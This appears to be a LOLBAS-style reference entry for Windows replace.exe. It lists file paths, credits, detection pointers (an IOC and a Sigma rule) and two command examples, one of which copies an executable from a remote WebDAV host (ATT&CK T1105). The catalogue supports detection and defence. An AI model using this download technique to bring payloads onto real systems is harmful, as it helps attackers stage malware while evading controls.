.. /Replace.exe

Copy | Download

Used to replace file with another file

Paths:
C:\Windows\System32\replace.exe
C:\Windows\SysWOW64\replace.exe

Resources:
- https://twitter.com/elceef/status/986334113941655553
- https://twitter.com/elceef/status/986842299861782529

Acknowledgements:
- elceef (@elceef)

Detections:
- IOC: Replace.exe retrieving files from remote server
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml

Copy

Copy file.cab to destination

```
replace.exe C:\Source\File.cab C:\Destination /A
```

Use case: Copy files
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1105

Download

Download/Copy bar.exe to outdir

```
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
```

Use case: Download file
Privileges required: User

Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1105